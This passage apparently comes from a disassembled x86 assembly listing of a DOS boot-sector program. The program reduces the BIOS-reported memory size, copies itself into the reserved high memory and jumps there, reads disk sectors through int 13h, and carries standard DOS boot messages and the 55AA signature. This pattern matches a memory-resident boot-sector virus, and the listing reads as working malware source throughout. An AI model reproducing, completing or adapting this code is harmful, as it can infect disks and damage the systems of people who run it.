  2410.         db    0FAh,0FAh, 8Ch,0C8h, 8Eh,0D8h
  2411.         db     8Eh,0D0h,0BCh, 00h,0F0h,0FBh
  2412.         db    0B8h, 78h, 7Ch, 50h,0C3h, 73h
  2413.         db     0Ah
  2414.         db    0BBh, 90h, 7Ch, 53h,0C3h,0B9h
  2415.         db    0B0h, 7Ch, 51h,0C3h
  2416. loc_0064:
  2417.         xor    ax,ax            ; Zero register
  2418.         mov    ds,ax
  2419.         mov    ax,ds:main_ram_size_
  2420.         cmp    word ptr ds:data_0008e,0
  2421.         jne    loc_0065        ; Jump if not equal
  2422.         mov    ds:data_0008e,ax
  2423.         sub    ax,7
  2424.         mov    ds:main_ram_size_,ax
  2425. loc_0065:
  2426.         mov    cl,6
  2427.         shl    ax,cl            ; Shift w/zeros fill
  2428.         push    cs
  2429.         pop    ds
  2430.         mov    es,ax
  2431.         mov    si,data_0164e
  2432.         xor    di,di            ; Zero register
  2433.         mov    cx,1400h
  2434.         cld                ; Clear direction
  2435.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  2436.         push    es
  2437.         mov    ax,400h
  2438.         push    ax
  2439.         retf
  2440.         xor    ah,ah            ; Zero register
  2441.         int    13h            ; Disk  dl=drive a  ah=func 00h
  2442.                         ;  reset disk, al=return status
  2443.         jc    loc_0066        ; Jump if carry Set
  2444.         xor    dx,dx            ; Zero register
  2445.         mov    cx,2821h
  2446.         mov    bx,data_0178e
  2447.         mov    ax,209h
  2448.         int    13h            ; Disk  dl=drive a  ah=func 02h
  2449.                         ;  read sectors to memory es:bx
  2450.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  2451. loc_0066:
  2452. ;*        mov    ax,offset loc_0077    ;*
  2453.         db    0B8h, 3Ch, 7Ch
  2454.         push    ax
  2455.         retn
  2456.         db    0BEh, 5Fh, 7Dh,0B9h, 48h, 00h
  2457.  
  2458. locloop_0067:
  2459.         xor    bh,bh            ; Zero register
  2460.         mov    al,[si]
  2461.         mov    ah,0Eh
  2462.         int    10h            ; Video display   ah=functn 0Eh
  2463.                         ;  write char al, teletype mode
  2464.         inc    si
  2465.         loop    locloop_0067        ; Loop if cx > 0
  2466.  
  2467. loc_0068:
  2468.         xor    ah,ah            ; Zero register
  2469.         int    16h            ; Keyboard i/o  ah=function 00h
  2470.                         ;  get keybd char in al, ah=scan
  2471.         mov    ah,1
  2472.         int    16h            ; Keyboard i/o  ah=function 01h
  2473.                         ;  get status, if zf=0  al=char
  2474.         jnz    loc_0068        ; Jump if not zero
  2475. ;*        mov    bx,offset loc_0078    ;*
  2476.         db    0BBh, 43h, 7Ch
  2477.         push    bx
  2478.         retn
  2479.         mov    ax,cs
  2480.         mov    ds,ax
  2481.         mov    es,ax
  2482.         mov    si,data_0176e
  2483.         mov    di,data_0178e
  2484.         mov    cx,18h
  2485.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  2486. ;*        mov    di,offset loc_0081    ;*
  2487.         db    0BFh, 00h, 7Eh
  2488.         push    di
  2489.         retn
  2490.         db     32h,0E4h,0CDh, 13h
  2491. loc_0069:
  2492.         jc    loc_0070        ; Jump if carry Set
  2493.         xor    dx,dx            ; Zero register
  2494.         mov    cx,1
  2495.         mov    bx,data_0164e
  2496.         mov    ax,201h
  2497.         int    13h            ; Disk  dl=drive a  ah=func 02h
  2498.                         ;  read sectors to memory es:bx
  2499.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  2500. loc_0070:
  2501. ;*        mov    bx,offset loc_0076    ;*
  2502.         db    0BBh, 00h, 7Ch
  2503.         push    bx
  2504.         retn
  2505.         sub    al,7Ch            ; '|'
  2506.         mov    ds:data_0175e,ax
  2507.         mov    bx,700h
  2508. loc_0071:
  2509.         mov    ax,ds:data_0171e
  2510.         call    sub_0018
  2511.         mov    ax,ds:data_0167e
  2512.         sub    al,ds:data_0173e
  2513.         inc    ax
  2514.         push    ax
  2515.         call    sub_0019
  2516.         pop    ax
  2517.         jc    loc_0069        ; Jump if carry Set
  2518.         sub    ds:data_0174e,al
  2519.         jbe    loc_0072        ; Jump if below or =
  2520.         add    ds:data_0171e,ax
  2521.         mul    word ptr ds:data_0165e    ; ax = data * ax
  2522.         add    bx,ax
  2523.         jmp    short loc_0071
  2524. loc_0072:
  2525.         mov    ch,ds:data_0166e
  2526.         mov    dl,ds:data_0169e
  2527.         mov    bx,ds:data_0175e
  2528. ;*        jmp    far ptr loc_0001    ;*
  2529.         db    0EAh, 00h, 00h, 70h, 00h
  2530. loc_0073:
  2531.         lodsb                ; String [si] to al
  2532.         or    al,al            ; Zero ?
  2533.         jz    loc_ret_0074        ; Jump if zero
  2534.         mov    ah,0Eh
  2535.         mov    bx,7
  2536.         int    10h            ; Video display   ah=functn 0Eh
  2537.                         ;  write char al, teletype mode
  2538.         jmp    short loc_0073
  2539.  
  2540. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2541. ;                   SUBROUTINE
  2542. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  2543.  
  2544. sub_0018    proc    near
  2545.         xor    dx,dx            ; Zero register
  2546.         div    word ptr ds:data_0167e    ; ax,dxrem=dx:ax/data
  2547.         inc    dl
  2548.         mov    ds:data_0173e,dl
  2549.         xor    dx,dx            ; Zero register
  2550.         div    word ptr ds:data_0168e    ; ax,dxrem=dx:ax/data
  2551.         mov    byte ptr ds:data_0169e+1,dl
  2552.         mov    ds:data_0172e,ax
  2553.  
  2554. loc_ret_0074:
  2555.         retn
  2556. sub_0018    endp
  2557.  
  2558.  
  2559. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2560. ;                   SUBROUTINE
  2561. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  2562.  
  2563. sub_0019    proc    near
  2564.         mov    ah,2
  2565.         mov    dx,ds:data_0172e
  2566.         mov    cl,6
  2567.         shl    dh,cl            ; Shift w/zeros fill
  2568.         or    dh,ds:data_0173e
  2569.         mov    cx,dx
  2570.         xchg    ch,cl
  2571.         mov    dx,ds:data_0169e
  2572.         int    13h            ; Disk  dl=drive a  ah=func 02h
  2573.                         ;  read sectors to memory es:bx
  2574.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  2575.         retn
  2576. sub_0019    endp
  2577.  
  2578.         db    0Dh, 0Ah, 'Non-System disk or dis'
  2579.         db    'k error', 0Dh, 0Ah, 'Replace and'
  2580.         db    ' strike any key when ready', 0Dh
  2581.         db    0Ah, 0
  2582.         db    0Dh, 0Ah, 'Disk Boot failure', 0Dh
  2583.         db    0Ah, 0
  2584.         db    'IBMBIO  COMIBMDOS  COM'
  2585.         db    42 dup (0)
  2586.         db     55h,0AAh
  2587.  
  2588. seg_a        ends
  2589.  
  2590.  
  2591.  
  2592.         end    start
  2593.